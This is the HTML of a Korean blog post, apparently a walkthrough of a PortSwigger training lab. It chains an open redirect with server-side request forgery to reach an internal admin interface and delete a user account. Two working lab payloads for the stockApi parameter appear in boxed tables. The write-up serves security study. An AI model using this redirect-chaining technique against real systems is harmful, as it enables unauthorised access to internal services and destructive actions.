&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS THE LAB을 클릭하여 랩에 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwz2UU/dJMcacjcrGw/EZOEmlaIb9X8vSCTPkkho1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwz2UU/dJMcacjcrGw/EZOEmlaIb9X8vSCTPkkho1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwz2UU/dJMcacjcrGw/EZOEmlaIb9X8vSCTPkkho1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwz2UU%2FdJMcacjcrGw%2FEZOEmlaIb9X8vSCTPkkho1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_아무 게시물이나 view_details.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ofL9k/dJMcagML9xV/MH4O1dMeCuQCZc9b3KS7U1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ofL9k/dJMcagML9xV/MH4O1dMeCuQCZc9b3KS7U1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ofL9k/dJMcagML9xV/MH4O1dMeCuQCZc9b3KS7U1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FofL9k%2FdJMcagML9xV%2FMH4O1dMeCuQCZc9b3KS7U1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-filename=&quot;2_아무 게시물이나 view_details.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭합니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_check stock 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yzJSL/dJMcaiqdHTZ/0MSMzdc0koznBEeLKW4XQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yzJSL/dJMcaiqdHTZ/0MSMzdc0koznBEeLKW4XQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yzJSL/dJMcaiqdHTZ/0MSMzdc0koznBEeLKW4XQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyzJSL%2FdJMcaiqdHTZ%2F0MSMzdc0koznBEeLKW4XQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-filename=&quot;3_check stock 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭했을&amp;nbsp;때의&amp;nbsp;요청을&amp;nbsp;Burp&amp;nbsp;Suite의&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_check_stock 클릭시 요청을 repeater에 세팅.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IvTpW/dJMcaasek54/EWkFItPKISDwJMprQ6ns41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IvTpW/dJMcaasek54/EWkFItPKISDwJMprQ6ns41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IvTpW/dJMcaasek54/EWkFItPKISDwJMprQ6ns41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIvTpW%2FdJMcaasek54%2FEWkFItPKISDwJMprQ6ns41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;421&quot; data-filename=&quot;4_check_stock 클릭시 요청을 repeater에 세팅.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL 이라는 응답이 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi&amp;nbsp;파라미터&amp;nbsp;값은&amp;nbsp;서버가&amp;nbsp;재고&amp;nbsp;확인&amp;nbsp;API로&amp;nbsp;요청을&amp;nbsp;보내기&amp;nbsp;위해&amp;nbsp;사용하는&amp;nbsp;URL&amp;nbsp;입니다.&amp;nbsp;응답을&amp;nbsp;보면&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있듯이&amp;nbsp;admin&amp;nbsp;인터페이스의&amp;nbsp;경우&amp;nbsp;외부&amp;nbsp;주소에서는&amp;nbsp;접근이&amp;nbsp;불가능하기&amp;nbsp;때문에&amp;nbsp;접속할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;상황입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_request 쭉 확인하면 아래에 stockApi가 있음 이걸 admin interface로 바꾸고 요청을 보냄.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xybYp/dJMcaiKtPY8/zOQNnuxwIY6ORzRJwQMum0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xybYp/dJMcaiKtPY8/zOQNnuxwIY6ORzRJwQMum0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xybYp/dJMcaiKtPY8/zOQNnuxwIY6ORzRJwQMum0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxybYp%2FdJMcaiKtPY8%2FzOQNnuxwIY6ORzRJwQMum0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;419&quot; data-filename=&quot;5_request 쭉 확인하면 아래에 stockApi가 있음 이걸 admin interface로 바꾸고 요청을 보냄.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹&amp;nbsp;사이트로&amp;nbsp;돌아가서&amp;nbsp;Next&amp;nbsp;product&amp;nbsp;버튼을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6_다시 웹 사이트로 돌아가서 오픈 리다이렉션 찾아보기 위해 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wxeg3/dJMcacKm9gB/5hZk2cdUQKltSmFfSK2VX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wxeg3/dJMcacKm9gB/5hZk2cdUQKltSmFfSK2VX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wxeg3/dJMcacKm9gB/5hZk2cdUQKltSmFfSK2VX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwxeg3%2FdJMcacKm9gB%2F5hZk2cdUQKltSmFfSK2VX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-filename=&quot;6_다시 웹 사이트로 돌아가서 오픈 리다이렉션 찾아보기 위해 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Next&amp;nbsp;product&amp;nbsp;버튼을&amp;nbsp;클릭했을&amp;nbsp;때의&amp;nbsp;요청&amp;nbsp;및&amp;nbsp;응답을&amp;nbsp;취득해&amp;nbsp;보면&amp;nbsp;Redirect가&amp;nbsp;되고&amp;nbsp;있고&amp;nbsp;path&amp;nbsp;파라미터의&amp;nbsp;입력된&amp;nbsp;값(주소)이&amp;nbsp;Location&amp;nbsp;헤더&amp;nbsp;값으로&amp;nbsp;들어가는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_그때의 요청 및 응답을 취득해보면 리다이렉트가 되고있으며 path에 입력한 주소가 Location 헤더로 들어가고 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;475&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s0CH9/dJMcagzafvp/y6Bsb0pGvTGKNU442AUa10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s0CH9/dJMcagzafvp/y6Bsb0pGvTGKNU442AUa10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s0CH9/dJMcagzafvp/y6Bsb0pGvTGKNU442AUa10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs0CH9%2FdJMcagzafvp%2Fy6Bsb0pGvTGKNU442AUa10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;448&quot; data-filename=&quot;7_그때의 요청 및 응답을 취득해보면 리다이렉트가 되고있으며 path에 입력한 주소가 Location 헤더로 들어가고 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ridrect를&amp;nbsp;따라가보면&amp;nbsp;path&amp;nbsp;파라미터&amp;nbsp;값으로&amp;nbsp;들어간&amp;nbsp;경로로&amp;nbsp;이동하는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있으며&amp;nbsp;Open&amp;nbsp;Redirect&amp;nbsp;취약점이&amp;nbsp;존재한다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;(Burp&amp;nbsp;Suite&amp;nbsp;Follow&amp;nbsp;redirection&amp;nbsp;기능을&amp;nbsp;사용합니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;추가자료.png&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rh8F1/dJMcabq7Dlo/Nf6wxjudImlT01AQsu0700/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rh8F1/dJMcabq7Dlo/Nf6wxjudImlT01AQsu0700/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rh8F1/dJMcabq7Dlo/Nf6wxjudImlT01AQsu0700/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frh8F1%2FdJMcabq7Dlo%2FNf6wxjudImlT01AQsu0700%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;422&quot; data-filename=&quot;추가자료.png&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭했을&amp;nbsp;때의&amp;nbsp;요청으로&amp;nbsp;돌아가서&amp;nbsp;stockApi&amp;nbsp;파라미터에&amp;nbsp;Redirect&amp;nbsp;URL을&amp;nbsp;입력하면&amp;nbsp;해당&amp;nbsp;URL로&amp;nbsp;서버가&amp;nbsp;접근하여&amp;nbsp;Redirect가&amp;nbsp;된&amp;nbsp;응답을&amp;nbsp;반환하는&amp;nbsp;것을&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;stockApi=/product/nextProduct?currentProductId=3%26path=/product?productId=2 &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi의 경우 파라미터 값에 외부 주소를 입력하면 접근이 불가능한 상태인 것을 이전에 확인했었습니다. 하지만 이전 단계에서 발견했던 Redirect 기능의 경우 내부 주소에서 사용하는 기능이기 때문에 stockApi 파라미터 값에 Redirect 기능을 수행하는 URL 주소를 입력하면 Redirect된 응답을 반환하게 됩니다. &lt;br /&gt;&lt;br /&gt;또한 페이로드를 입력할 때 %26은 &amp;amp; 기호에 해당하며 &amp;amp;기호를 URL 인코딩 처리를 하지 않을 경우 path 파라미터가 stockApi의 값으로 인식되는 것이 아닌 또 다른 파라미터로 인식하여 에러 응답을 받게 됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8_stock_check 할때의 요청에서 stockApi 파라미터에 복사한 url 주소를 입력하고 결과를 보면 내부 도메인이기 때문에 별 문제 없이 URL 주소에 해당하는 응답을 반환함.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3DYfm/dJMcabYZgut/P05BZkWQRW9jpOITkUGjF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3DYfm/dJMcabYZgut/P05BZkWQRW9jpOITkUGjF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3DYfm/dJMcabYZgut/P05BZkWQRW9jpOITkUGjF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3DYfm%2FdJMcabYZgut%2FP05BZkWQRW9jpOITkUGjF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;426&quot; data-filename=&quot;8_stock_check 할때의 요청에서 stockApi 파라미터에 복사한 url 주소를 입력하고 결과를 보면 내부 도메인이기 때문에 별 문제 없이 URL 주소에 해당하는 응답을 반환함.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 전 단계에서 사용했던 페이로드에서 path 값에 admin 인터페이스가 있는 경로를 삽입하고 요청을 보내면 원래 접근할 수 없었던 admin 인터페이스에 접근이 가능하므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9_아까~1.PNG&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P8tL7/dJMcaaTgYAk/AgWFAdTVFI8koh3ONMRrf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P8tL7/dJMcaaTgYAk/AgWFAdTVFI8koh3ONMRrf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P8tL7/dJMcaaTgYAk/AgWFAdTVFI8koh3ONMRrf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP8tL7%2FdJMcaaTgYAk%2FAgWFAdTVFI8koh3ONMRrf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;424&quot; data-filename=&quot;9_아까~1.PNG&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;응답에서&amp;nbsp;Raw를&amp;nbsp;클릭하고&amp;nbsp;carlos&amp;nbsp;계정&amp;nbsp;삭제&amp;nbsp;버튼을&amp;nbsp;찾은&amp;nbsp;뒤&amp;nbsp;해당&amp;nbsp;URL을&amp;nbsp;복사합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_응답결과를 Raw 클릭해서 carlos delete 버튼 부분 찾아서 복사.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nFZhe/dJMcadvBhvF/mLJVvjTuf0mUJsNdK0tPy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nFZhe/dJMcadvBhvF/mLJVvjTuf0mUJsNdK0tPy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nFZhe/dJMcadvBhvF/mLJVvjTuf0mUJsNdK0tPy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnFZhe%2FdJMcadvBhvF%2FmLJVvjTuf0mUJsNdK0tPy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;424&quot; data-filename=&quot;10_응답결과를 Raw 클릭해서 carlos delete 버튼 부분 찾아서 복사.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check stock를 클릭할 때의 요청으로 돌아가서 복사했던 carlos 계정 삭제 URL을 path 파라미터에 삽입하고 요청을 보냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;stockApi=/product/nextProduct?currentProductId=3%26path=http://192.168.0.12:8080/admin/delete?username=carlos &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi&amp;nbsp;파라미터&amp;nbsp;값에&amp;nbsp;포함된&amp;nbsp;path&amp;nbsp;파라미터에&amp;nbsp;carlos&amp;nbsp;계정을&amp;nbsp;삭제하는&amp;nbsp;URL을&amp;nbsp;입력하고&amp;nbsp;요청을&amp;nbsp;보내면&amp;nbsp;서버&amp;nbsp;쪽에서는&amp;nbsp;URL이&amp;nbsp;내부&amp;nbsp;주소기&amp;nbsp;때문에&amp;nbsp;해당&amp;nbsp;요청을&amp;nbsp;통과시키고&amp;nbsp;Open&amp;nbsp;Redirect&amp;nbsp;기능으로&amp;nbsp;인해&amp;nbsp;서버가&amp;nbsp;carlos&amp;nbsp;계정을&amp;nbsp;삭제하는&amp;nbsp;URL&amp;nbsp;주소에&amp;nbsp;접근하게&amp;nbsp;되어&amp;nbsp;최종적으로&amp;nbsp;carlos&amp;nbsp;계정이&amp;nbsp;삭제되게&amp;nbsp;됩니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_복사한 carlos 계정 삭제하는 주소를 stockApi 파라미터 값에 삽입 후 요청을 보냄.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JqEPW/dJMcacp3hCA/KJoj7hRI3QkY3mYub6uo6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JqEPW/dJMcacp3hCA/KJoj7hRI3QkY3mYub6uo6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JqEPW/dJMcacp3hCA/KJoj7hRI3QkY3mYub6uo6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJqEPW%2FdJMcacp3hCA%2FKJoj7hRI3QkY3mYub6uo6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;421&quot; data-filename=&quot;11_복사한 carlos 계정 삭제하는 주소를 stockApi 파라미터 값에 삽입 후 요청을 보냄.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_웹 사이트로 돌아가서 확인해보면 문제가 클리어 된 것을 볼 수 있음.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCodp0/dJMcacwNuNL/KKX39WinUsHkTwk7j8eKYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCodp0/dJMcacwNuNL/KKX39WinUsHkTwk7j8eKYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCodp0/dJMcacwNuNL/KKX39WinUsHkTwk7j8eKYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCodp0%2FdJMcacwNuNL%2FKKX39WinUsHkTwk7j8eKYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-filename=&quot;12_웹 사이트로 돌아가서 확인해보면 